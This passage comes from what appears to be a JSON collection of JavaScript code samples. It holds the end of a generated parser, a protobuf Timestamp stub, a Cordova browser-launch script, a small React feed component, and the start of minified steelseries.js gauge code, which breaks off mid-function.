matchFailed(\"\\\"\\\\\\\\u\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = parse_hexDigit();\n          if (result1 !== null) {\n            result2 = parse_hexDigit();\n            if (result2 !== null) {\n              result3 = parse_hexDigit();\n              if (result3 !== null) {\n                result4 = parse_hexDigit();\n                if (result4 !== null) {\n                  result0 = [result0, result1, result2, result3, result4];\n                } else {\n                  result0 = null;\n                  pos = pos1;\n                }\n              } else {\n                result0 = null;\n                pos = pos1;\n              }\n            } else {\n              result0 = null;\n              pos = pos1;\n            }\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, h1, h2, h3, h4) {\n              return String.fromCharCode(parseInt(h1 + h2 + h3 + h4, 16));\n            })(pos0, result0[1], result0[2], result0[3], result0[4]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_eolEscapeSequence() {\n        var result0, result1;\n        var pos0, pos1;\n\n        pos0 = pos;\n        pos1 = pos;\n        if (input.charCodeAt(pos) === 92) {\n          result0 = \"\\\\\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"\\\\\\\\\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = parse_eol();\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos1;\n          }\n        } else {\n          result0 = null;\n          pos = pos1;\n        }\n        if (result0 !== null) {\n          result0 = (function(offset, eol) { return eol; })(pos0, result0[1]);\n        }\n        if (result0 === null) {\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_digit() {\n        var result0;\n\n        if (/^[0-9]/.test(input.charAt(pos))) {\n          result0 = input.charAt(pos);\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"[0-9]\");\n          }\n        }\n        return result0;\n      }\n\n      function parse_hexDigit() {\n        var result0;\n\n        if (/^[0-9a-fA-F]/.test(input.charAt(pos))) {\n          result0 = input.charAt(pos);\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"[0-9a-fA-F]\");\n          }\n        }\n        return result0;\n      }\n\n      function parse_letter() {\n        var result0;\n\n        result0 = parse_lowerCaseLetter();\n        if (result0 === null) {\n          result0 = parse_upperCaseLetter();\n        }\n        return result0;\n      }\n\n      function parse_lowerCaseLetter() {\n        var result0;\n\n        if (/^[a-z]/.test(input.charAt(pos))) {\n          result0 = input.charAt(pos);\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"[a-z]\");\n          }\n        }\n        return result0;\n      }\n\n      function parse_upperCaseLetter() {\n        var result0;\n\n        if (/^[A-Z]/.test(input.charAt(pos))) {\n          result0 = input.charAt(pos);\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"[A-Z]\");\n          }\n        }\n        return result0;\n      }\n\n      function parse___() {\n        var result0, result1;\n\n        result0 = [];\n        result1 = parse_whitespace();\n        if (result1 === null) {\n          result1 = parse_eol();\n          if (result1 === null) {\n            result1 = parse_comment();\n          }\n        }\n        while (result1 !== null) {\n          result0.push(result1);\n          result1 = parse_whitespace();\n          if (result1 === null) {\n            result1 = parse_eol();\n            if (result1 === null) {\n              result1 = parse_comment();\n            }\n          }\n        }\n        return result0;\n      }\n\n      function parse_comment() {\n        var result0;\n\n        reportFailures++;\n        result0 = parse_singleLineComment();\n        if (result0 === null) {\n          result0 = parse_multiLineComment();\n        }\n        reportFailures--;\n        if (reportFailures === 0 && result0 === null) {\n          matchFailed(\"comment\");\n        }\n        return result0;\n      }\n\n      function parse_singleLineComment() {\n        var result0, result1, result2, result3;\n        var pos0, pos1, pos2;\n\n        pos0 = pos;\n        if (input.substr(pos, 2) === \"//\") {\n          result0 = \"//\";\n          pos += 2;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"//\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = [];\n          pos1 = pos;\n          pos2 = pos;\n          reportFailures++;\n          result2 = parse_eolChar();\n          reportFailures--;\n          if (result2 === null) {\n            result2 = \"\";\n          } else {\n            result2 = null;\n            pos = pos2;\n          }\n          if (result2 !== null) {\n            if (input.length > pos) {\n              result3 = input.charAt(pos);\n              pos++;\n            } else {\n              result3 = null;\n              if (reportFailures === 0) {\n                matchFailed(\"any character\");\n              }\n            }\n            if (result3 !== null) {\n              result2 = [result2, result3];\n            } else {\n              result2 = null;\n              pos = pos1;\n            }\n          } else {\n            result2 = null;\n            pos = pos1;\n          }\n          while (result2 !== null) {\n            result1.push(result2);\n            pos1 = pos;\n            pos2 = pos;\n            reportFailures++;\n            result2 = parse_eolChar();\n            reportFailures--;\n            if (result2 === null) {\n              result2 = \"\";\n            } else {\n              result2 = null;\n              pos = pos2;\n            }\n            if (result2 !== null) {\n              if (input.length > pos) {\n                result3 = input.charAt(pos);\n                pos++;\n              } else {\n                result3 = null;\n                if (reportFailures === 0) {\n                  matchFailed(\"any character\");\n                }\n              }\n              if (result3 !== null) {\n                result2 = [result2, result3];\n              } else {\n                result2 = null;\n                pos = pos1;\n              }\n            } else {\n              result2 = null;\n              pos = pos1;\n            }\n          }\n          if (result1 !== null) {\n            result0 = [result0, result1];\n          } else {\n            result0 = null;\n            pos = pos0;\n          }\n        } else {\n          result0 = null;\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_multiLineComment() {\n        var result0, result1, result2, result3;\n        var pos0, pos1, pos2;\n\n        pos0 = pos;\n        if (input.substr(pos, 2) === \"/*\") {\n          result0 = \"/*\";\n          pos += 2;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"/*\\\"\");\n          }\n        }\n        if (result0 !== null) {\n          result1 = [];\n          pos1 = pos;\n          pos2 = pos;\n          reportFailures++;\n          if (input.substr(pos, 2) === \"*/\") {\n            result2 = \"*/\";\n            pos += 2;\n          } else {\n            result2 = null;\n            if (reportFailures === 0) {\n              matchFailed(\"\\\"*/\\\"\");\n            }\n          }\n          reportFailures--;\n          if (result2 === null) {\n            result2 = \"\";\n          } else {\n            result2 = null;\n            pos = pos2;\n          }\n          if (result2 !== null) {\n            if (input.length > pos) {\n              result3 = input.charAt(pos);\n              pos++;\n            } else {\n              result3 = null;\n              if (reportFailures === 0) {\n                matchFailed(\"any character\");\n              }\n            }\n            if (result3 !== null) {\n              result2 = [result2, result3];\n            } else {\n              result2 = null;\n              pos = pos1;\n            }\n          } else {\n            result2 = null;\n            pos = pos1;\n          }\n          while (result2 !== null) {\n            result1.push(result2);\n            pos1 = pos;\n            pos2 = pos;\n            reportFailures++;\n            if (input.substr(pos, 2) === \"*/\") {\n              result2 = \"*/\";\n              pos += 2;\n            } else {\n              result2 = null;\n              if (reportFailures === 0) {\n                matchFailed(\"\\\"*/\\\"\");\n              }\n            }\n            reportFailures--;\n            if (result2 === null) {\n              result2 = \"\";\n            } else {\n              result2 = null;\n              pos = pos2;\n            }\n            if (result2 !== null) {\n              if (input.length > pos) {\n                result3 = input.charAt(pos);\n                pos++;\n              } else {\n                result3 = null;\n                if (reportFailures === 0) {\n                  matchFailed(\"any character\");\n                }\n              }\n              if (result3 !== null) {\n                result2 = [result2, result3];\n              } else {\n                result2 = null;\n                pos = pos1;\n              }\n            } else {\n              result2 = null;\n              pos = pos1;\n            }\n          }\n          if (result1 !== null) {\n            if (input.substr(pos, 2) === \"*/\") {\n              result2 = \"*/\";\n              pos += 2;\n            } else {\n              result2 = null;\n              if (reportFailures === 0) {\n                matchFailed(\"\\\"*/\\\"\");\n              }\n            }\n            if (result2 !== null) {\n              result0 = [result0, result1, result2];\n            } else {\n              result0 = null;\n              pos = pos0;\n            }\n          } else {\n            result0 = null;\n            pos = pos0;\n          }\n        } else {\n          result0 = null;\n          pos = pos0;\n        }\n        return result0;\n      }\n\n      function parse_eol() {\n        var result0;\n\n        reportFailures++;\n        if (input.charCodeAt(pos) === 10) {\n          result0 = \"\\n\";\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"\\\"\\\\n\\\"\");\n          }\n        }\n        if (result0 === null) {\n          if (input.substr(pos, 2) === \"\\r\\n\") {\n            result0 = \"\\r\\n\";\n            pos += 2;\n          } else {\n            result0 = null;\n            if (reportFailures === 0) {\n              matchFailed(\"\\\"\\\\r\\\\n\\\"\");\n            }\n          }\n          if (result0 === null) {\n            if (input.charCodeAt(pos) === 13) {\n              result0 = \"\\r\";\n              pos++;\n            } else {\n              result0 = null;\n              if (reportFailures === 0) {\n                matchFailed(\"\\\"\\\\r\\\"\");\n              }\n            }\n            if (result0 === null) {\n              if (input.charCodeAt(pos) === 8232) {\n                result0 = \"\\u2028\";\n                pos++;\n              } else {\n                result0 = null;\n                if (reportFailures === 0) {\n                  matchFailed(\"\\\"\\\\u2028\\\"\");\n                }\n              }\n              if (result0 === null) {\n                if (input.charCodeAt(pos) === 8233) {\n                  result0 = \"\\u2029\";\n                  pos++;\n                } else {\n                  result0 = null;\n                  if (reportFailures === 0) {\n                    matchFailed(\"\\\"\\\\u2029\\\"\");\n                  }\n                }\n              }\n            }\n          }\n        }\n        reportFailures--;\n        if (reportFailures === 0 && result0 === null) {\n          matchFailed(\"end of line\");\n        }\n        return result0;\n      }\n\n      function parse_eolChar() {\n        var result0;\n\n        if (/^[\\n\\r\\u2028\\u2029]/.test(input.charAt(pos))) {\n          result0 = input.charAt(pos);\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"[\\\\n\\\\r\\\\u2028\\\\u2029]\");\n          }\n        }\n        return result0;\n      }\n\n      function parse_whitespace() {\n        var result0;\n\n        reportFailures++;\n        if (/^[ \\t\\x0B\\f\\xA0\\uFEFF\\u1680\\u180E\\u2000-\\u200A\\u202F\\u205F\\u3000]/.test(input.charAt(pos))) {\n          result0 = input.charAt(pos);\n          pos++;\n        } else {\n          result0 = null;\n          if (reportFailures === 0) {\n            matchFailed(\"[ \\\\t\\\\x0B\\\\f\\\\xA0\\\\uFEFF\\\\u1680\\\\u180E\\\\u2000-\\\\u200A\\\\u202F\\\\u205F\\\\u3000]\");\n          }\n        }\n        reportFailures--;\n        if (reportFailures === 0 && result0 === null) {\n          matchFailed(\"whitespace\");\n        }\n        return result0;\n      }\n\n\n      function cleanupExpected(expected) {\n        expected.sort();\n\n        var lastExpected = null;\n        var cleanExpected = [];\n        for (var i = 0; i < expected.length; i++) {\n          if (expected[i] !== lastExpected) {\n            cleanExpected.push(expected[i]);\n            lastExpected = expected[i];\n          }\n        }\n        return cleanExpected;\n      }\n\n      function computeErrorPosition() {\n        /*\n         * The first idea was to use |String.split| to break the input up to the\n         * error position along newlines and derive the line and column from\n         * there. However IE's |split| implementation is so broken that it was\n         * enough to prevent it.\n         */\n\n        var line = 1;\n        var column = 1;\n        var seenCR = false;\n\n        for (var i = 0; i < Math.max(pos, rightmostFailuresPos); i++) {\n          var ch = input.charAt(i);\n          if (ch === \"\\n\") {\n            if (!seenCR) { line++; }\n            column = 1;\n            seenCR = false;\n          } else if (ch === \"\\r\" || ch === \"\\u2028\" || ch === \"\\u2029\") {\n            line++;\n            column = 1;\n            seenCR = true;\n          } else {\n            column++;\n            seenCR = false;\n          }\n        }\n\n        return { line: line, column: column };\n      }\n\n\n      var result = parseFunctions[startRule]();\n\n      /*\n       * The parser is now in one of the following three states:\n       *\n       * 1. The parser successfully parsed the whole input.\n       *\n       *    - |result !== null|\n       *    - |pos === input.length|\n       *    - |rightmostFailuresExpected| may or may not contain something\n       *\n       * 2. The parser successfully parsed only a part of the input.\n       *\n       *    - |result !== null|\n       *    - |pos < input.length|\n       *    - |rightmostFailuresExpected| may or may not contain something\n       *\n       * 3. The parser did not successfully parse any part of the input.\n       *\n       *   - |result === null|\n       *   - |pos === 0|\n       *   - |rightmostFailuresExpected| contains at least one failure\n       *\n       * All code following this comment (including called functions) must\n       * handle these states.\n       */\n      if (result === null || pos !== input.length) {\n        var offset = Math.max(pos, rightmostFailuresPos);\n        var found = offset < input.length ? input.charAt(offset) : null;\n        var errorPosition = computeErrorPosition();\n\n        throw new this.SyntaxError(\n          cleanupExpected(rightmostFailuresExpected),\n          found,\n          offset,\n          errorPosition.line,\n          errorPosition.column\n        );\n      }\n\n      return result;\n    },\n\n    /* Returns the parser source code. */\n    toSource: function() { return this._source; }\n  };\n\n  /* Thrown when a parser encounters a syntax error. */\n\n  result.SyntaxError = function(expected, found, offset, line, column) {\n    function buildMessage(expected, found) {\n      var expectedHumanized, foundHumanized;\n\n      switch (expected.length) {\n        case 0:\n          expectedHumanized = \"end of input\";\n          break;\n        case 1:\n          expectedHumanized = expected[0];\n          break;\n        default:\n          expectedHumanized = expected.slice(0, expected.length - 1).join(\", \")\n            + \" or \"\n            + expected[expected.length - 1];\n      }\n\n      foundHumanized = found ? quote(found) : \"end of input\";\n\n      return \"Expected \" + expectedHumanized + \" but \" + foundHumanized + \" found.\";\n    }\n\n    this.name = \"SyntaxError\";\n    this.expected = expected;\n    this.found = found;\n    this.message = buildMessage(expected, found);\n    this.offset = offset;\n    this.line = line;\n    this.column = column;\n  };\n\n  result.SyntaxError.prototype = Error.prototype;\n\n  return result;\n})();\n"
  },
  {
    "path": "samples/JavaScript/proto.js",
    "content": "/**\n * @fileoverview\n * @enhanceable\n * @public\n */\n// GENERATED CODE -- DO NOT EDIT!\n\ngoog.provide('proto.google.protobuf.Timestamp');\n\ngoog.require('jspb.Message');\n\n/**\n * Generated by JsPbCodeGenerator.\n * @param {Array=} opt_data Optional initial data array, typically from a\n * server response, or constructed directly in Javascript. The array is used\n * in place and becomes part of the constructed object. It is not cloned.\n * If no data is provided, the constructed object will be empty, but still\n * valid.\n * @extends {jspb.Message}\n * @constructor\n */\nproto.google.protobuf.Timestamp = function(opt_data) {\n  jspb.Message.initialize(this, opt_data, 0, -1, null, null);\n};\ngoog.inherits(proto.google.protobuf.Timestamp, jspb.Message);\nif (goog.DEBUG && !COMPILED) {\n  proto.google.protobuf.Timestamp.displayName = 'proto.google.protobuf.Timestamp';\n}\n\n\n// Remainder elided"
  },
  {
    "path": "samples/JavaScript/run",
    "content": "#!/usr/bin/env node\n\n/*\n       Licensed to the Apache Software Foundation (ASF) under one\n       or more contributor license agreements.  See the NOTICE file\n       distributed with this work for additional information\n       regarding copyright ownership.  The ASF licenses this file\n       to you under the Apache License, Version 2.0 (the\n       \"License\"); you may not use this file except in compliance\n       with the License.  You may obtain a copy of the License at\n\n         http://www.apache.org/licenses/LICENSE-2.0\n    \n       Unless required by applicable law or agreed to in writing,\n       software distributed under the License is distributed on an\n       \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n       KIND, either express or implied.  See the License for the\n       specific language governing permissions and limitations\n       under the License.\n*/\n\nvar fs = require('fs'),\n    path = require('path'),\n    nopt  = require('nopt'),\n    url = require('url'),\n    cordovaServe = require('cordova-serve');\n\nvar args = process.argv;\n\nstart(args);\n\nfunction start(argv) {\n    var args  = nopt({'help': Boolean, 'target': String, 'port': Number}, {'help': ['/?', '-h', 'help', '-help', '/help']}, argv);\n    if(args.help) {\n        help();\n    }\n\n    // defaults\n    args.port = args.port || 8000;\n    args.target = args.target || \"chrome\";\n\n    var root = path.join(__dirname, '../'),\n        configFile = path.resolve(path.join(root, 'config.xml')),\n        configXML = fs.readFileSync(configFile, 'utf8'),\n        sourceFile = /<content[\\s]+?src\\s*=\\s*\"(.*?)\"/i.exec(configXML);\n\n    var server = cordovaServe();\n    server.servePlatform('browser', {port: args.port, noServerInfo: true}).then(function () {\n        var projectUrl = url.resolve('http://localhost:' + server.port + '/', sourceFile ? sourceFile[1] : 'index.html');\n        console.log('Static file server running @ ' + projectUrl + '\\nCTRL + C to shut down');\n        return cordovaServe.launchBrowser({target: args.target, url: projectUrl});\n    }).catch(function (error) {\n        console.log(error.message || error.toString());\n        if (server.server) {\n            server.server.close();\n        }\n    });\n}\n\nfunction help() {\n    console.log(\"\\nUsage: run [ --target=<browser> ] [ --port=<number> ]\");\n    console.log(\"    --target=<browser> : Launches the specified browser. Chrome is default.\");\n    console.log(\"    --port=<number>    : Http server uses specified port number.\");\n    console.log(\"Examples:\");\n    console.log(\"    run\");\n    console.log(\"    run -- --target=ie\");\n    console.log(\"    run -- --target=chrome --port=8000\");\n    console.log(\"\");\n    process.exit(0);\n}\n"
  },
  {
    "path": "samples/JavaScript/sample.jsx",
    "content": "'use strict';\n\nconst React = require('react')\n\nmodule.exports = React.createClass({\n  render: function() {\n    let {feeds, log} = this.props;\n\n    log.info(feeds);\n    return <div className=\"feed-list\">\n      <h3>News Feed's</h3>\n      <ul>\n        {feeds.map(function(feed) {\n          return <li key={feed.name} className={feed.fetched ? 'loaded' : 'loading'}>\n            {feed.data && feed.data.length > 0 ?\n              <span>{feed.name} <span className='light'>({feed.data.length})</span></span>\n              : 'feed.name' }\n          </li>\n        })}\n      </ul>\n    </div>;\n  }\n});\n"
  },
  {
    "path": "samples/JavaScript/steelseries-min.js",
    "content": "/*!\n * Name          : steelseries.js\n * Authors       : Gerrit Grunwald, Mark Crossley\n * Last modified : 09.05.2012\n * Revision      : 0.11.3\n *\n * Copyright (c) 2011, Gerrit Grunwald, Mark Crossley\n * All rights reserved.\n *\n *  Redistribution and use in source and binary forms, with or without modification, are permitted\n *  provided that the following conditions are met:\n *\n *  # Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n *  # Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following\n *    disclaimer in the documentation and/or other materials provided with the distribution.\n *\n *   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,\n *   BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT\n *   SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n *   DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n *   INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n *   OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\nvar steelseries=function(){function f(n,t){var i=\"#\"===n.charAt(0)?n.substring(1,7):n,f=parseInt(i.substring(0,2),16),u=parseInt(i.substring(2,4),16),r=parseInt(i.substring(4,6),16);return this.color=\"rgba(\"+f+\",\"+u+\",\"+r+\",\"+t+\")\",this}function ui(t,i,r,u){var f=1/255,y=t.getRed(),v=t.getGreen(),a=t.getBlue(),b=t.getAlpha(),w=i.getRed()-t.getRed(),p=i.getGreen()-t.getGreen(),s=i.getBlue()-t.getBlue(),o=i.getAlpha()*f-t.getAlpha()*f,e=w/r,l=p/r,c=s/r,h=o/r;return new n((y+e*u).toFixed(0),(v+l*u).toFixed(0),(a+c*u).toFixed(0),b+h*u)}function vr(n,t,i){return{start:n,stop:t,color:i}}function c(n,t){var u=Math.floor(Math.log10(n)),r=n/Math.pow(10,u),i;return i=t?1.5>r?1:3>r?2:7>r?5:10:1<r?2<r?5<r?10:5:2:1,i*Math.pow(10,u)}function s(n,t,i,r,u,f){var e=t+r,o=i+u;n.beginPath(),n.moveTo(t+f,i),n.lineTo(e-f,i),n.quadraticCurveTo(e,i,e,i+f),n.lineTo(e,i+u-f),n.quadraticCurveTo(e,o,e-f,o),n.lineTo(t+f,o),n.quadraticCurveTo(t,o,t,o-f),n.lineTo(t,i+f),n.quadraticCurveTo(t,i,t+f,i),n.closePath(),n.stroke()}function t(n,t){var i=r.createElement(\"canvas\");return i.width=n,i.height=t,i}function ii(n,t,i){var u=r.createElement(\"canvas\");return u.width=n,u.height=t,i(u.getContext(\"2d\")),u}function ft(n){var t,i=ii(1,1,function(t){t.fillStyle=n,t.beginPath(),t.rect(0,0,1,1),t.fill()});return t=i.getContext(\"2d\").getImageData(0,0,2,2).data,[t[0],t[1],t[2],t[3]]}function wt(t){var o,e,f,s,u,r=ft(t),i=new n(r[0],r[1],r[2],r[3]);return o=si(i,.32),e=si(i,.62),f=ti(i,.84),s=ti(i,.94),u=ti(i,1),new b(o,e,i,f,s,u)}function ar(n,t,i){var e,r,f,o,s,u;n/=255,t/=255,i/=255,r=Math.max(n,t,i),e=Math.min(n,t,i),s=(r+e)/2;if(r===e)f=o=0;else{u=r-e,o=s>.5?u/(2-r-e):u/(r+e);switch(r){case n:f=(t-i)/u+(t<i?6:0);break;case t:f=(i-n)/u+2;break;case i:f=(n-t)/u+4}f/=6}return[f,o,s]}function vt(n,t,i){var f,u,r,c=Math.floor(n*6),h=n*6-c,e=i*(1-t),o=i*(1-h*t),s=i*(1-(1-h)*t);switch(c%6){case 0:f=i,u=s,r=e;break;case 1:f=o,u=i,r=e;break;case 2:f=e,u=i,r=s;break;case 3:f=e,u=o,r=i;break;case 4:f=s,u=e,r=i;break;case 5:f=i,u=e,r=o}return[Math.floor(f*255),Math.floor(u*255),Math.floor(r*255)]}function st(n,t,i){var e,r,u,o,s,f;n=n/255,t=t/255,i=i/255,r=Math.max(n,t,i),e=Math.min(n,t,i),s=r,f=r-e,o=r===0?0:f/r;if(r===e)u=0;else{switch(r){case n:u=(t-i)/f+(t<i?6:0);break;case t:u=(i-n)/f+2;break;case i:u=(n-t)/f+4}u/=6}return[u,o,s]}function k(n,t){return n<0?0:n>t?t:n}function si(t,i){var f=Math.floor(t.getRed()*(1-i)),u=Math.floor(t.getGreen()*(1-i)),r=Math.floor(t.getBlue()*(1-i));return f=k(f,255),u=k(u,255),r=k(r,255),new n(f,u,r,t.getAlpha())}function ti(t,i){var f=Math.round(t.getRed()*(1+i)),u=Math.round(t.getGreen()*(1+i)),r=Math.round(t.getBlue()*(1+i));return f=k(f,255),u=k(u,255),r=k(r,255),new n(f,u,r,t.getAlpha())}function or(n,t,i){var r,u;if(i<=t)throw\"Rotary bounds are of negative or zero size\";return r=i-t,u=Math.floor((n-t)/r),n-u*r}function ni(n,t){return or(t-n,-180,180)}var r=document,tt=\"LCDMono2Ultra,sans-serif\",ei=function(n,i){i=i||{};var ot=undefined===i.gaugeType?steelseries.GaugeType.TYPE4:i.gaugeType,f=undefined===i.size?200:i.size,h=undefined===i.minValue?0:i.minValue,b=undefined===i.maxValue?h+100:i.maxValue,bf=undefined===i.niceScale?!0:i.niceScale,ti=undefined===i.threshold?(b-h)/2:i.threshold,ii=undefined===i.section?null:i.section,ui=undefined===i.area?null:i.area,lu=undefined===i.titleString?\"\":i.titleString,au=undefined===i.unitString?\"\":i.unitString,hu=undefined===i.frameDesign?steelseries.FrameDesign.METAL:i.frameDesign,wu=undefined===i.frameVisible?!0:i.frameVisible,bt=undefined===i.backgroundColor?steelseries.BackgroundColor.DARK_GRAY:i.backgroundColor,bu=undefined===i.backgroundVisible?!0:i.backgroundVisible,pt=undefined===i.pointerType?steelseries.PointerType.TYPE1:i.pointerType,ar=undefined===i.pointerColor?steelseries.ColorDef.RED:i.pointerColor,ee=undefined===i.knobType?steelseries.KnobType.STANDARD_KNOB:i.knobType,fi=undefined===i.knobStyle?steelseries.KnobStyle.SILVER:i.knobStyle,ei=undefined===i.lcdColor?steelseries.LcdColor.STANDARD:i.lcdColor,vr=undefined===i.lcdVisible?!0:i.lcdVisible,eu=undefined===i.lcdDecimals?2:i.lcdDecimals,ye=undefined===i.digitalFont?!1:i.digitalFont,pe=undefined===i.fractionalScaleDecimals?1:i.fractionalScaleDecimals,br=undefined===i.ledColor?steelseries.LedColor.RED_LED:i.ledColor,ru=undefined===i.ledVisible?!0:i.ledVisible,vf=undefined===i.thresholdVisible?!0:i.thresholdVisible,kr=undefined===i.minMeasuredValueVisible?!1:i.minMeasuredValueVisible,dr=undefined===i.maxMeasuredValueVisible?!1:i.maxMeasuredValueVisible,cf=undefined===i.foregroundType?steelseries.ForegroundType.TYPE1:i.foregroundType,af=undefined===i.foregroundVisible?!0:i.foregroundVisible,oe=undefined===i.labelNumberFormat?steelseries.LabelNumberFormat.STANDARD:i.labelNumberFormat,yr=undefined===i.playAlarm?!1:i.playAlarm,uf=undefined===i.alarmSound?!1:i.alarmSound,fe=undefined===i.customLayer?null:i.customLayer,le=undefined===i.tickLabelOrientation?ot===steelseries.GaugeType.TYPE1?steelseries.TickLabelOrientation.TANGENT:steelseries.TickLabelOrientation.NORMAL:i.tickLabelOrientation,wr=undefined===i.trendVisible?!1:i.trendVisible,hr=undefined===i.trendColors?[steelseries.LedColor.RED_LED,steelseries.LedColor.GREEN_LED,steelseries.LedColor.CYAN_LED]:i.trendColors,sr=undefined===i.useOdometer?!1:i.useOdometer,wt=undefined===i.odometerParams?{}:i.odometerParams,wf=undefined===i.odometerUseValue?!1:i.odometerUseValue,ki;yr&&uf!==!1&&(ki=r.createElement(\"audio\"),ki.setAttribute(\"src\",uf),ki.setAttribute(\"preload\",\"auto\"));var l=h,or=h,yf=this,ri=b,ni=h,ht=!1,ef=0,we,of=steelseries.TrendState.OFF,lr=f*.06,cr=f*.29,er=f*.36,ci,et,gi,at,lt,rr=et+(l-h)*lt,u=r.getElementById(n).getContext(\"2d\");u.save(),u.clearRect(0,0,u.canvas.width,u.canvas.height),u.canvas.width=f,u.canvas.height=f;var s=f,k=f,g=s/2,it=k/2,pf=.6*s,ne=.4*k,pr=Math.floor(s/10),ce=pr+\"px sans-serif\",ae=pr+\"px \"+tt,hf=k*.13,bi=s*.4,sf=(s-bi)/2,rf=k*.57,tf,ve=k*.61,st=Math.PI/2,ue=Math.PI/180,ff=!1,ir=h,nr=b,ai=b-h,yt=nr-ir,fr=0,vt=0,oi=10,lf=10,re=function(){bf?(ai=c(b-h,!1),vt=c(ai/(lf-1),!0),ir=Math.floor(h/vt)*vt,nr=Math.ceil(b/vt)*vt,fr=c(vt/(oi-1),!0),h=ir,b=nr,yt=b-h):(ai=b-h,ir=h,nr=b,yt=ai,vt=c(ai/(lf-1),!0),fr=c(vt/(oi-1),!0));switch(ot.type){case\"type1\":ci=0,et=Math.PI,gi=st,at=st,lt=at/yt;break;case\"type2\":ci=0,et=Math.PI,gi=st,at=Math.PI,lt=at/yt;break;case\"type3\":ci=0,et=st,gi=0,at=1.5*Math.PI,lt=at/yt;break;case\"type4\":default:ci=60*ue,et=st+ci/2,gi=0,at=2*Math.PI-ci,lt=at/yt}rr=et+(l-h)*lt},wi=t(f,f),nf=wi.getContext(\"2d\"),di=t(f,f),ut=di.getContext(\"2d\"),fu,hi=t(f*.093457,f*.093457),uu=hi.getContext(\"2d\"),gt=t(f*.093457,f*.093457),nu=gt.getContext(\"2d\"),si=gt,iu=t(Math.ceil(f*.028037),Math.ceil(f*.028037)),se=iu.getContext(\"2d\"),gr=t(Math.ceil(f*.028037),Math.ceil(f*.028037)),he=gr.getContext(\"2d\"),vi=t(f,f),tu=vi.getContext(\"2d\"),yi=t(f,f),ou=yi.getContext(\"2d\"),pi=t(f,f),kt=pi.getContext(\"2d\"),li=t(f,f),pu=li.getContext(\"2d\"),gu,du,ku,yu,cu,tr,su;sr&&vr&&(tr=t(10,10),su=tr.getContext(\"2d\"));var kf=function(n){u.save(),u.textAlign=\"right\",u.strokeStyle=ei.textColor,u.fillStyle=ei.textColor,(ei===steelseries.LcdColor.STANDARD||ei===steelseries.LcdColor.STANDARD_GREEN)&&(u.shadowColor=\"gray\",u.shadowOffsetX=s*.007,u.shadowOffsetY=s*.007,u.shadowBlur=s*.007),u.font=ye?ae:ce,u.fillText(n.toFixed(eu),sf+bi-bi*.05,rf+hf*.5+pr*.38,bi*.9),u.restore()},te=function(n){n.save(),\"type1\"===ot.type&&n.drawImage(e(Math.ceil(k*.037383),steelseries.KnobType.STANDARD_KNOB,fi),s*.523364,k*.130841),(\"type1\"===ot.type||\"type2\"===ot.type)&&n.drawImage(e(Math.ceil(k*.037383),steelseries.KnobType.STANDARD_KNOB,fi),s*.130841,k*.514018),(\"type2\"===ot.type||\"type3\"===ot.type)&&n.drawImage(e(Math.ceil(k*.037383),steelseries.KnobType.STANDARD_KNOB,fi),s*.831775,k*.514018),\"type3\"===ot.type&&n.drawImage(e(Math.ceil(k*.037383),steelseries.KnobType.STANDARD_KNOB,fi),s*.523364,k*.831775),\"type4\"===ot.type&&(n.drawImage(e(Math.ceil(k*.037383),steelseries.KnobType.STANDARD_KNOB,fi),s*.336448,k*.803738),n.drawImage(e(Math.ceil(k*.037383),steelseries.KnobType.STANDARD_KNOB,fi),s*.626168,k*.803738)),n.restore()},ie=function(){var t=r.createElement(\"canvas\"),n,i;return 